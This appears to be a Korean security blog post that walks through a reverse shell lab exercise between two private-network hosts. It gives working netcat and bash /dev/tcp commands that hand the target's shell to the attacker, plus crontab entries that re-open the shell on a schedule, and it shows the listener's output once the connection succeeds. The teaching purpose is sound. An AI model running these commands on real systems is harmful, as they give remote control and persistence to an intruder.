[정보보안] Reverse Shell 공격 실습

Bind Shell, Reverse Shell

출처: https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/


원격에서 서버에 명령어를 실행할 수 있는 쉘(Shell)을 획득하는 방법은 크게 2가지가 있습니다.

  • 바인드 쉘(Bind Shell): 클라이언트(공격자)가 타겟 서버(공격 대상)에 접속하여 타겟 서버(공격 대상)의 쉘을 획득하는 방법
  • 리버스 쉘(Reverse Shell): 역으로 타겟 서버(공격 대상)가 클라이언트(공격자)로 접속해서 클라이언트(공격자)가 타겟 서버(공격 대상)의 쉘을 획득하는 방법

리버스 쉘을 이용하는 이유는 방화벽을 우회하여 쉘을 획득하기 위함입니다. 일반적으로 대부분의 방화벽은 내부에서 외부로의 아웃바운드 트래픽을 허용하는 반면, 외부에서 내부로의 인바운드 트래픽은 차단합니다. 리버스 쉘은 내부 시스템이 외부 공격자의 시스템으로 연결을 시도하기 때문에 방화벽을 우회할 수 있습니다.
리버스 쉘을 테스트하기 위해 netcat(nc) 프로그램을 많이 이용하는데, netcat은 대부분의 주요 운영 체제(Windows, Linux, macOS 등)에서 사용할 수 있어 공격자가 다양한 환경에서 동일한 도구를 사용할 수 있게 해줍니다.
리버스 쉘 테스트를 위한 준비사항은 아래와 같습니다.

  • 공격자의 호스트명: centos8
  • 공격자의 IP주소: 192.168.56.104
  • 공격자가 사용할 포트 번호: 4444
  • 공격 대상의 호스트명: rhel7u9
  • 공격 대상의 IP주소: 192.168.56.108
Reverse Shell 공격 실습
  1. 공격자 호스트에서 nc 명령어를 실행하여 연결 요청 대기
    # l 옵션: 연결 요청을 수락할 수 있는 Listening 모드로 설정
    # v 옵션: verbose 모드로 진행 상황을 표시
    # p 옵션: 로컬 리스닝 포트 번호 설정(4444)
    [root@centos8 ~]# nc -lvp 4444
    
  2. 공격 대상 호스트에서 연결 요청(crontab 등록으로 공격)
    1. nc 명령어를 사용해서 실행 이미지를 bash 교체하는 방법
      [root@rhel7u9 ~]# crontab -e
      0 1 * * * nc 192.168.56.104 80 -e /bin/bash
      
    2. bash 명령어로 요청하는 방법
      [root@rhel7u9 ~]# crontab -e
      0 1 * * * bash >& /dev/tcp/192.168.56.104/4444 0>&1
      또는 
      0 1 * * * bash &> /dev/tcp/192.168.56.104/4444
      
  3. 공격 대상 호스트에서 연결 요청(프롬프트에서 공격, 실습할 때)
    1. nc 명령어를 사용해서 실행 이미지를 bash로 교체하는 방법
      # nohup : 터미널이 닫혀서 세션이 종료되어도 nc 연결 요청 유지(사용하지 않아도 ok)
      # 마지막 & : 백그라운드 프로세스로 실행(사용하지 않아도 ok)
      [root@rhel7u9 ~]# nohup nc 192.168.56.104 4444 -e /bin/bash &
      
    2. bash 명령어로 요청하는 방법
      # -i 옵션: 인터렉티브 모드로 bash 사용, 백그라운드로 실행하려면 -i 옵션 제외
      # >&: 표준 출력(1)과 표준 오류(2)를 동일한 대상으로 리디렉션
      # 0>&1: 표준 입력(0)을 표준 출력(1)으로 리디렉션, 0<&1도 작동
      [root@rhel7u9 ~]# bash -i >& /dev/tcp/192.168.56.104/4444 0>&1
      또는
      [root@rhel7u9 ~]# bash -i &> /dev/tcp/192.168.56.104/4444
      
절차 공격자
(192.168.56.104)
공격 대상
(192.168.56.108)
공격자
연결 요청 대기
[root@centos8 ~]# nc -lvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
 
공격 대상
연결 요청
[root@rhel7u9 ~]# nc 192.168.56.104 4444 -e /bin/bash
또는
[root@rhel7u9 ~]# bash -i >& /dev/tcp/192.168.56.104/4444 0>&1
또는
[root@rhel7u9 ~]# bash -i &> /dev/tcp/192.168.56.104/4444
공격자
연결 완료
[root@centos8 ~]# nc -lvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:34668.
[root@rhel7u9 ~]# 

You may also like...

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다